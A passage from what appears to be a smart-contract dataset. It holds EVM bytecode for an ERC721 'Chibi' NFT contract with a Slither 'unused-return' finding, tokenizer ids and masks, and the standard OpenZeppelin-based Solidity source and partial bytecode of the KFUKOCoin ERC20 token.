b808211156129d65760008160009055506001016129be565b5090565b60006129ed6129e884613b53565b613b22565b905082815260208101848484011115612a0557600080fd5b612a10848285613d7f565b509392505050565b6000612a2b612a2684613b83565b613b22565b905082815260208101848484011115612a4357600080fd5b612a4e848285613d7f565b509392505050565b600081359050612a6581613f3a565b92915050565b600081359050612a7a81613f51565b92915050565b600081359050612a8f81613f68565b92915050565b600081519050612aa481613f68565b92915050565b600082601f830112612abb57600080fd5b8135612acb8482602086016129da565b91505092915050565b600082601f830112612ae557600080fd5b8135612af5848260208601612a18565b91505092915050565b600081359050612b0d81613f7f565b92915050565b600060208284031215612b2557600080fd5b6000612b3384828501612a56565b91505092915050565b60008060408385031215612b4f57600080fd5b6000612b5d85828601612a56565b9250506020612b6e85828601612a56565b9150509250929050565b600080600060608486031215612b8d57600080fd5b6000612b9b86828701612a56565b9350506020612bac86828701612a56565b9250506040612bbd86828701612afe565b9150509250925092565b60008060008060808587031215612bdd57600080fd5b6000612beb87828801612a56565b9450506020612bfc87828801612a56565b9350506040612c0d87828801612afe565b925050606085013567ffffffffffffffff811115612c2a57600080fd5b612c3687828801612aaa565b91505092959194509250565b60008060408385031215612c5557600080fd5b6000612c6385828601612a56565b9250506020612c7485828601612a6b565b9150509250929050565b60008060408385031215612c9157600080fd5b6000612c9f85828601612a56565b9250506020612cb085828601612afe565b9150509250929050565b600060208284031215612ccc57600080fd5b6000612cda84828501612a6b565b91505092915050565b600060208284031215612cf557600080fd5b6000612d0384828501612a80565b91505092915050565b600060208284031215612d1e57600080fd5b6000612d2c84828501612a95565b91505092915050565b600060208284031215612d4757600080fd5b600082013567ffffffffffffffff811115612d6157600080fd5b612d6d84828501612ad4565b91505092915050565b600060208284031215612d8857600080fd5b6000612d9684828501612afe565b91505092915050565b612da881613d0b565b82525050565b612db781613d1d565b82525050565b6000612dc882613bb3565b612dd28185613bc9565b9350612de2818560208601613d8e565b612deb81613f29565b840191505092915050565b6000612e0182613bbe565b612e0b8185613bda565b9350612e1b818560208601613d8e565b612e2481613f29565b840191505092915050565b6000612e3a82613bbe565b612e448185613beb565b9350612e54818560208601613d8e565b80840191505092915050565b6000612e6d602b83613bda565b91507f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008301527f74206f6620626f756e64730000000000000000000000000000000000000000006020830152604082019050919050565b6000612ed3603283613bda565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b6000612f39602683613bda565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612f9f601c83613bda565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b6000612fdf602483613bda565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613045601983613bda565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b6000613085602883613bda565b91507f476f696e67206f7665722035353535206368696269207769746820746865207060008301527f757263686173652e0000000000000000000000000000000000000000000000006020830152604082019050919050565b60006130eb602c83613bda565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000613151601683613bda565b91507f416c6c2043686962697320617265206d696e7465642e000000000000000000006000830152602082019050919050565b6000613191603883613bda565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b60006131f7602a83613bda565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b600061325d602983613bda565b91507f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008301527f656e7420746f6b656e00000000000000000000000000000000000000000000006020830152604082019050919050565b60006132c3600e83613bda565b91507f496e76616c69642070726963652e0000000000000000000000000000000000006000830152602082019050919050565b6000613303602083613bda565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b6000613343602c83613bda565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b60006133a9600583613beb565b91507f2e6a736f6e0000000000000000000000000000000000000000000000000000006000830152600582019050919050565b60006133e9602083613bda565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000613429602983613bda565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b600061348f602f83613bda565b91507f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008301527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006020830152604082019050919050565b60006134f5602183613bda565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061355b603183613bda565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b60006135c1602083613bda565b91507f427579696e6720746f6f206d616e7920706572207472616e73616374696f6e2e6000830152602082019050919050565b6000613601601683613bda565b91507f4e6f204368696269206c65667420746f206d696e742e000000000000000000006000830152602082019050919050565b6000613641602c83613bda565b91507f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008301527f7574206f6620626f756e647300000000000000000000000000000000000000006020830152604082019050919050565b60006136a7601183613bda565b91507f53616c65206973206e6f74206f70656e2e0000000000000000000000000000006000830152602082019050919050565b60006136e7600183613beb565b91507f2f000000000000000000000000000000000000000000000000000000000000006000830152600182019050919050565b61372381613d75565b82525050565b60006137358285612e2f565b9150613740826136da565b915061374c8284612e2f565b91506137578261339c565b91508190509392505050565b60006020820190506137786000830184612d9f565b92915050565b60006080820190506137936000830187612d9f565b6137a06020830186612d9f565b6137ad604083018561371a565b81810360608301526137bf8184612dbd565b905095945050505050565b60006020820190506137df6000830184612dae565b92915050565b600060208201905081810360008301526137ff8184612df6565b905092915050565b6000602082019050818103600083015261382081612e60565b9050919050565b6000602082019050818103600083015261384081612ec6565b9050919050565b6000602082019050818103600083015261386081612f2c565b9050919050565b6000602082019050818103600083015261388081612f92565b9050919050565b600060208201905081810360008301526138a081612fd2565b9050919050565b600060208201905081810360008301526138c081613038565b9050919050565b600060208201905081810360008301526138e081613078565b9050919050565b60006020820190508181036000830152613900816130de565b9050919050565b6000602082019050818103600083015261392081613144565b9050919050565b6000602082019050818103600083015261394081613184565b9050919050565b60006020820190508181036000830152613960816131ea565b9050919050565b6000602082019050818103600083015261398081613250565b9050919050565b600060208201905081810360008301526139a0816132b6565b9050919050565b600060208201905081810360008301526139c0816132f6565b9050919050565b600060208201905081810360008301526139e081613336565b9050919050565b60006020820190508181036000830152613a00816133dc565b9050919050565b60006020820190508181036000830152613a208161341c565b9050919050565b60006020820190508181036000830152613a4081613482565b9050919050565b60006020820190508181036000830152613a60816134e8565b9050919050565b60006020820190508181036000830152613a808161354e565b9050919050565b60006020820190508181036000830152613aa0816135b4565b9050919050565b60006020820190508181036000830152613ac0816135f4565b9050919050565b60006020820190508181036000830152613ae081613634565b9050919050565b60006020820190508181036000830152613b008161369a565b9050919050565b6000602082019050613b1c600083018461371a565b92915050565b6000604051905081810181811067ffffffffffffffff82111715613b4957613b48613efa565b5b8060405250919050565b600067ffffffffffffffff821115613b6e57613b6d613efa565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115613b9e57613b9d613efa565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613c0182613d75565b9150613c0c83613d75565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c4157613c40613e6d565b5b828201905092915050565b6000613c5782613d75565b9150613c6283613d75565b925082613c7257613c71613e9c565b5b828204905092915050565b6000613c8882613d75565b9150613c9383613d75565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ccc57613ccb613e6d565b5b828202905092915050565b6000613ce282613d75565b9150613ced83613d75565b925082821015613d0057613cff613e6d565b5b828203905092915050565b6000613d1682613d55565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613dac578082015181840152602081019050613d91565b83811115613dbb576000848401525b50505050565b60006002820490506001821680613dd957607f821691505b60208210811415613ded57613dec613ecb565b5b50919050565b6000613dfe82613d75565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613e3157613e30613e6d565b5b600182019050919050565b6000613e4782613d75565b9150613e5283613d75565b925082613e6257613e61613e9c565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b613f4381613d0b565b8114613f4e57600080fd5b50565b613f5a81613d1d565b8114613f6557600080fd5b50565b613f7181613d29565b8114613f7c57600080fd5b50565b613f8881613d75565b8114613f9357600080fd5b5056fea2646970667358221220aebe4e09ac18782d261d024f1d20d180ce553bb4972612f591b834e5d4800dbe64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2487, 2546, 2581, 2575, 14526, 10790, 23777, 2475, 2278, 27531, 16068, 16048, 2050, 2581, 2509, 2050, 22394, 2620, 2546, 16576, 2581, 2683, 2620, 16932, 2278, 2546, 2581, 2546, 2575, 1013, 1013, 4216, 16379, 2007, 2524, 12707, 1058, 2475, 1012, 1019, 1012, 1014, 16770, 1024, 1013, 1013, 2524, 12707, 1012, 8917, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1030, 1058, 2549, 1012, 1016, 1012, 1014, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,646
0x971fb5b502bddd9bbdc9e6522c5c66264f462105
pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract KFUKOCoin is ERC20 { constructor() public ERC20("KFUKO Token", "KFUKO") { _mint(msg.sender, 4800000 * 10**18); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063395093511161007157806339509351146101d957806370a082311461020557806395d89b411461022b578063a457c2d714610233578063a9059cbb1461025f578063dd62ed3e1461028b576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b66102b9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b03813516906020013561034f565b604080519115158252519081900360200190f35b61017361036c565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b03813581169160208101359091169060400135610372565b6101c36103ff565b6040805160ff9092168252519081900360200190f35b610157600480360360408110156101ef57600080fd5b506001600160a01b038135169060200135610408565b6101736004803603602081101561021b57600080fd5b50356001600160a01b031661045c565b6100b6610477565b6101576004803603604081101561024957600080fd5b506001600160a01b0381351690602001356104d8565b6101576004803603604081101561027557600080fd5b506001600160a01b038135169060200135610546565b610173600480360360408110156102a157600080fd5b506001600160a01b038135811691602001351661055a565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103455780601f1061031a57610100808354040283529160200191610345565b820191906000526020600020905b81548152906001019060200180831161032857829003601f168201915b5050505050905090565b600061036361035c610585565b8484610589565b50600192915050565b60025490565b600061037f848484610675565b6103f58461038b610585565b6103f085604051806060016040528060288152602001610945602891396001600160a01b038a166000908152600160205260408120906103c9610585565b6001600160a01b03168152602081019190915260400160002054919063ffffffff6107dc16565b610589565b5060019392505050565b60055460ff1690565b6000610363610415610585565b846103f08560016000610426610585565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61087316565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103455780601f1061031a57610100808354040283529160200191610345565b60006103636104e5610585565b846103f0856040518060600160405280602581526020016109b6602591396001600061050f610585565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff6107dc16565b6000610363610553610585565b8484610675565b6001600160a01b03918216600090815260016020908152604080832093909